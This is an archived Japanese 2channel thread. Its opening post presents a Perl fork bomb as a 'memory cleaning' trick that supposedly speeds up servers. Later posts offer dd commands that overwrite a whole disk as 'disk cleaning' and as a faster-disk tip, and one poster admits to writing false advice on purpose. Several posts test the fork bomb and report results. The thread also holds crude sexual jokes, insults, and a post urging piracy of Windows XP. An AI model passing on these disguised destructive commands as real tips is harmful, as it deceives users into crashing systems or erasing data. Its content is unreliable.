簡単!メモリクリーニング
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
NGNGメモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0402名無しさん@お腹いっぱい。
NGNG0403394
NGNGえっと、並列化するようになったのはXPからね。
Windows 2000の起動は並列実行していないのでむちゃくちゃ遅い。
それと比較の方法がunfairだと思う。
Windowsと起動時間を比較するならWindowsと同等の機能をもてるだけのデーモンを起動し、
xdm立ち上げるくらいはしないと...
0404名無しさん@お腹いっぱい。
NGNG同等の機能を持つデーモンってなんですかね。
鯖に使ってるわけじゃないんで、Winの方は起動時に何もさせてないんだけど。
スタートアップファイルはログイン後に読み込まれるもんだし。
特別なサービス使ってるわけでもないし、無効にしても大丈夫なもんは極力無効にしてるんでね。
xdmでもkdeもgdmでも
1分もかかんないっすね。
20〜25秒かな。
まあ、無茶苦茶な設定にすればWin並に時間かける事は可能だろうけど
使わなくてもいいようなデーモンまでなんでもかんでも入れちゃえば
1分2分はかかるかなぁ。そしたらWinが持つ機能よりも多機能になっちゃうよ。
vnc apache named ssh sendmail finger bind qmail tripwaire Oracle
こんくらいやればいけそう。
2kはむちゃくちゃ遅いとのことですけど
XPより速いと思うのは、俺だけ?
Winの中じゃかなり速い部類だと思うんだけどいかがなものか。
>>400も言ってるけど、語るほど重要でもないよね。
別に一方が数秒で起動して、他方が1分かかってもいいんでないの?
0405名無しさん@お腹いっぱい。
NGNG0406名無しさん@お腹いっぱい。
NGNG> 2kはむちゃくちゃ遅いとのことですけど
> XPより速いと思うのは、俺だけ?
計測はしてないが2kは起動遅いよ。XPの方がはやい。
0407名無しさん@お腹いっぱい。
NGNGLinux *BSD > XP > 2k
0408403
NGNGWindowsくんは何もしないでも動いているサービスがあるので
それらと同じようなサービスをするものすべてを動かすという意味。
たとえば、Samba,automount daemon,ntpなど。
> 2kはむちゃくちゃ遅いとのことですけど、
並列実行するのでマシンの処理速度はかなり効いてくると思う。
並列処理するとコンテキストスイッチのオーバーヘッドがつくしね。
>>407
そうか?Linuxはそんなに起動が速いか?
FreeBSDと比べて遅いと感じた記憶があるけれど、最近は変わったのかな。
0409名無しさん@お腹いっぱい。
NGNG0410名無しさん@お腹いっぱい。
NGNG> ないのとHDDが丈夫な高級品じゃないので、逝ってしまわれたらアレなんでねぇ
2.5 インチ系はしらんが, 3.5 インチドライブって
スピンアップの時に一番ストレスかかるんだが...
おれは, 一度火をいれた disk はよほどのことがな
い限り電源落さないけど...
# 冷却はしっかりやっとく必要はあるけど...
0411名無しさん@お腹いっぱい。
NGNGそうしたところで、Win程遅くなることはないよ
LinuxにしてもFreeBSDにしてもね。
うちのLinuxはkernel読み出してから7秒後にログイン可能だ。
環境が許せば、LinuxBIOSなんてのを使うと3秒程度になるらしい。
Pentium 130Mhz
Mem 48MB
HDDはDMA無し
#Win2kだと3分以上はかかる。XPはインストールしようとすら思わなかった。
0412名無しさん@お腹いっぱい。
NGNG0413名無しさん@お腹いっぱい。
NGNG0414名無しさん@お腹いっぱい。
NGNG0415名無しさん@お腹いっぱい。
NGNG0416名無しさん@お腹いっぱい。
NGNGすばらしい。うまくいったよ。
お礼にディスククリーニング法を教えてあげる。
# dd if=/dev/zero of=(以下略
0417名無しさん@お腹いっぱい。
NGNGある意味クリーニング。
女の子が下着捨てるまえに洗濯してハサミで細切れにするのと似たようなもんだ。
0418名無しさん@お腹いっぱい。
NGNGそんな女嫌だなぁ。
0419名無しさん@お腹いっぱい。
NGNGそれだったら/dev/zeroよりも/dev/urandomのほうがよくないかな。
ほんとうはさらにこれのXORを書いて、さらに/dev/urandomがよかったような...
# dd if=/dev/urandom of=あぼーん対象ディスク
でも、女の子が下着を捨てるときにはさみで細切れというのは聞いたことがあるな。
個人情報が書かれたものを捨てるときにシュレッダーにかけるのと同じようなもんだと
思うからもれはさほど抵抗はないが。
もれの女の下着で他の男にハァハァされるのは嫌だし。
0420名無しさん@お腹いっぱい。
NGNGたしかにやっちゃう人出そうだけれども。
0421名無しさん@お腹いっぱい。
NGNGそのまま捨てろ と言いたいのではなかろうか。
0422名無しさん@お腹いっぱい。
NGNG0423名無しさん@お腹いっぱい。
NGNG0424418
NGNG0425名無しさん@お腹いっぱい。
NGNG>>421の解釈が客観的にみて妥当だから
0427名無しさん@お腹いっぱい。
NGNG0428名無しさん@お腹いっぱい。
NGNGねた的には変態とののしっていたほうが面白いのだが、
たしかに自意識過剰な女は嫌だね。
自分に誇るべき価値は女であるということだけなのに3高を望んでたりすると
逝ってよしと思うしな。
0429名無しさん@お腹いっぱい。
NGNG0430名無しさん@お腹いっぱい。
NGNG無差別的な泥棒の場合
女自身よりもパンツがそのまま捨てらている事自体が
泥棒を呼ぶエサになる。
周囲の人達の迷惑も考えて、「私のパンツだから盗まれるかもしれない」ではなく
「パンツをそのまま捨てたせいで、変態が寄ってきては大変だ」という意識であると思われる。
0431名無しさん@お腹いっぱい。
NGNG夜中に大勢集まってにーにーとパンツ会議を始めてうるさい。
それだけならまだしも子を産んで増えたりすると大変。
だ か ら 切 り 刻 ん で 捨 て て や る の さ
0432名無しさん@お腹いっぱい。
NGNG- 野良ぱんつの蒸れがデモ行進
0433ワイルドパンツ
NGNG洗濯カゴからはみ出すブラ&ズロース
昔よくマスかいたパンティー
へへいへい♪
0434名無しさん@お腹いっぱい。
NGNG0435思い出の渚
NGNGひとりたたずみ思い出す
小麦いろしたかわいいシミ
忘れはしないいつまでも
港逃げるぱんつ盗んで
黒い透けパンレースなびかせ
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
0436名無しさん@お腹いっぱい。
NGNG死ね気違い
0437名無しさん@お腹いっぱい。
NGNG0438名無しさん@お腹いっぱい。
NGNG0439名無しさん@お腹いっぱい。
NGNG0440名無しさん@お腹いっぱい。
NGNG>>437
板違い
0441名無しさん@お腹いっぱい。
NGNG0442名無しさん@お腹いっぱい。
NGNG0443名無しさん@お腹いっぱい。
NGNG0444名無しさん@お腹いっぱい。
NGNG0445名無しさん@お腹いっぱい。
NGNG僕の右手知りませんか?
0446名無しさん@お腹いっぱい。
NGNG0447名無しさん@お腹いっぱい。
NGNG行方不明になったのか?
0448名無しさん@お腹いっぱい。
NGNG0449名無しさん@お腹いっぱい。
NGNG0450名無しさん@お腹いっぱい。
NGNG0451名無しさん@お腹いっぱい。
NGNG0452名無しさん@お腹いっぱい。
NGNG変態ホモにハァハァされてるかもしれないぞ。
0454名無しさん@お腹いっぱい。
NGNG0455名無しさん@お腹いっぱい。
NGNG0456名無しさん@お腹いっぱい。
NGNGーーーーーーー糸冬了ーーーーーーー
0457名無しさん@お腹いっぱい。
NGNG生産ラインにつないでいるユニックスマシンのメモリを
定期的に掃除機でクリーニングしていますが、何か。。。
0458名無しさん@お腹いっぱい。
NGNG0459名無しさん@お腹いっぱい。
NGNGもれはメモリーだけではなくCPUクーラーも掃除するなぁ。
あとはファン周りとかM/Bとかケースの底にたまったほこりとか。
0460名無しさん@お腹いっぱい。
NGNG0461名無しさん@お腹いっぱい。
NGNG0462名無しさん@お腹いっぱい。
NGNG0463名無しさん@お腹いっぱい。
NGNGドライブにいれたあと
dd if=/dev/fd0 of=/dev/null bs=512 count=200
0464名無しさん@お腹いっぱい。
NGNG> クリーニングディスクにクリーニング液を数滴(湿式)
> ドライブにいれたあと
> dd if=/dev/fd0 of=/dev/null bs=512 count=200
間違い。 Linux の場合、下記が正しい。
ディスクアクセスが速くなった気がする。
dd if=/dev/hda of=/dev/zero bs=1024 count=10000
0465名無しさん@お腹いっぱい。
NGNGこの板でそのOSの名前出すと
変なのがよりあつまってきますよ
0466名無しさん@お腹いっぱい。
NGNG「間違い」と言っている時点で喧嘩を売ってるから望むところなんじゃないか?
ここは犬板でないのに犬以外のOSについて書くと間違っているといわんばかりだしな。
Linux(kernel 2.4.20で確認)にも/dev/fd0や/dev/nullがあるのに
そういうこと書いているということは釣死だろうから
こういうことを書いてほしいがためにやってるんだろうが。
0467名無しさん@お腹いっぱい。
NGNG最近のUNIX版はレベルが低下してて盛り上がりに
欠けるからわざとああいうふうに書きました。
適当なこと書いてごめんよ。
0468名無しさん@お腹いっぱい。
NGNG0469名無しさん@お腹いっぱい。
NGNG0470名無しさん@お腹いっぱい。
NGNGWindowsって何ですか?
そんな古臭いOSなんてもう使えませんよ。
ま、ともかく
*WindowsXPプリインストールPCを買う奴:気違い
*WindowsXPを買う奴:世界の経済を狂わせる奴
*WindowsXPをMXとかからダウンロードする奴:世界経済を安定化させる勇者
どうしても、WindowsXPを使いたければ、ダウンロードして、購入資金を
赤十字に寄付しましょう。
それでなければ、OpenBSDでもインストール汁
0471名無しさん@お腹いっぱい。
NGNG0472名無しさん@お腹いっぱい。
NGNG0473名無しさん@お腹いっぱい。
NGNG0474名無しさん@お腹いっぱい。
NGNG独り言はhttp://etc.2ch.net/hikky/でやってくれ。
>>473
昔のFreeBSDもそうだけれどaoutでダイナミックリンクを実現する仕組みが
あったためにELFに移行する必要性がさほど無かったのではないかな。
んま、ELFになったほうがいろいろと便利なことはあるけど。
0475名無しさん@お腹いっぱい。
NGNG煽りに親切すぎ
でも勉強になった
0476名無しさん@お腹いっぱい。
NGNG0477名無しさん@お腹いっぱい。
NGNG0478名無しさん@お腹いっぱい。
NGNG0479名無しさん@お腹いっぱい。
NGNGで、氏なないってのかい?
0480名無しさん@お腹いっぱい。
NGNGつか、frokしただけで死ぬかよ
0481名無しさん@お腹いっぱい。
NGNGスレをよく嫁
ガイシュツすぎてつまらん新しいネタもってこいやヴォケ
0482名無しさん@お腹いっぱい。
NGNG15分くらい放置してみた
数えたわけじゃないけど、15分もあれば相当な数の無駄プロセスが生成されてるが
既存のプロセスは何の問題もなく動いてる
新しいプロセスも生成できた
perlの親プロセス殺したら即座に無駄プロセス全部消えた
これでほんとに死ぬのかよ
うちは死ぬ気配どころか、何の悪影響も及ぼしてないんだが
0483名無しさん@お腹いっぱい。
NGNGuname -aしてkernelのバージョンいくつか教えて。
0484名無しさん@お腹いっぱい。
NGNGLinux Murder 2.6.0-test9-mm5
最大のプロセス数は、kernelのヘッダの中のどれかに書いてあると思ったが
数万個だったと思う。たぶん65535個?
2.4.20-ck6でも検証したけど同じく死なないよ。
たぶんこれで死ぬとしたらプロセスの生成にハードの性能が追いつかない
メモリが足りない、CPUがトロいなんかの理由で固まるんでないの?
0485名無しさん@お腹いっぱい。
NGNGちなみに実行したのは一般ユーザー?root?
過去のレスには一般ユーザーなら平気だけれどrootでやると固まるという報告があるね。
何の影響もないということだけれど、一瞬すごく動作がとろくなるということもないの?
0486名無しさん@お腹いっぱい。
NGNGrootも一般ユーザも試したよ。
動作がトロくはなってないなぁ。
どれくらい変るもんなのかってのが疑問だが、体感する程遅いようなことはなかった。
放置した15分間はfirebirdで/.Jにコメントつけたり
2chで他のスレ見たりしてたけど、遅くなった感じはない。
firebirdは、無限forkを始めてから起動させた。
forkする様子をみるためにtop起動させて監視してたら
firebirdの起動スクリプトが一瞬でて、またすぐperl埋めつくされ
また一瞬firebirdのスレッドが表示されたと思ったら
またもやperlに埋めつくされた。
その後rootで無限forkさせたときは、mikmodでmodきいてた。
音が途切れることもなかったし、途中で始めたdilloのmakeも滞りなく終ったよ。
その後2.4.20-ck6で検証したんだけど、それは別マシン。
そっちはファイル倉庫にしてあるやつで、httpとsshがdeamonとして常駐してる。
20分近く放置してあったけど特に問題はないな。
外部の公開してるわけじゃないので、セキュリティ対策はほとんどしてない。
こっちは一般ユーザで検証するのが面倒なので、rootでのみ検証した。
どっちのマシンもCPUとメモリはほぼ同じ
2.6がノートで、2.4のほうはデスクトップ
ノートはPentium3 500Mhz Memory 256MB(オンボードメモリは無し)
デスクトップの方はCPUは同じ(だけどデスクトップ用のPentium3)、そしてノートより若干メモリが多い(オンボード + 256MB)
ディストリはどちらもGentoo Linux。
ノートの方はマメにアップデートしてるので
Gentoo 1.4で~x86(unstable)な環境。
デスクトップの方はほとんどイジってないので
Gentoo 1.4-rc4のままだったかな。
0487名無しさん@お腹いっぱい。
NGNG0488名無しさん@お腹いっぱい。
NGNG猶且 大量のメモリ確保したらどうだろうか
スレッドの生成とメモリ確保のコストの高さを利用して落すという単純な発想だが
CPUとメモリに余裕のある業務用の高級鯖マシンでもなければ
大概のOSがコロっといくと思うんだが
わざわざそんなの書くのもマンドクサイのでsage
#少なくとも1CPUでメモリが256、512程度だとまずどのOSも耐えられないと思う
0489名無しさん@お腹いっぱい。
NGNG氏ななかったよ。
% uname -r
2.6.0-test10
0490名無しさん@お腹いっぱい。
NGNG0491名無しさん@お腹いっぱい。
NGNG0492名無しさん@お腹いっぱい。
NGNGかたまった!!!!!!!!!!!!!!!!!!!!!!!!
0493名無しさん@お腹いっぱい。
NGNG0494名無しさん@お腹いっぱい。
NGNGそろそろまとめろや
os ver user root
でいいから書きやがれ
0495名無しさん@お腹いっぱい。
NGNG0496名無しさん@お腹いっぱい。
NGNG0497名無しさん@お腹いっぱい。
NGNGDebian woody kernel 2.4.20-ck7 user 落ちない root 落ちない
Gentoo 1.4(~x86) kernel 2.6.0-test11 user 落ちない root 落ちない
Gentoo 1.4(x86) gentoo-sources-2.4.20-r8 user 落ちない root 落ちない
番外
FreeBSD 4.8R user 落ちない root 落ちない
0498名無しさん@お腹いっぱい。
NGNGDOS???
0500_
NGNG確保しても書き込みとかしてpage-inさせないとMapされておしまいだし、
読み出してもどうせ同一ページ参照されるだけでメモリは消費されない。
Process/Thread 大量につくってもTextは同一ページだから同じ。
ProcessTable消費されるだけ。
vmのいじめ方しらない香具師おおいな。
0501名無しさん@お腹いっぱい。
NGNGじゃあ、そのイジメかたとやらを書いてみてはいかが?
■ このスレッドは過去ログ倉庫に格納されています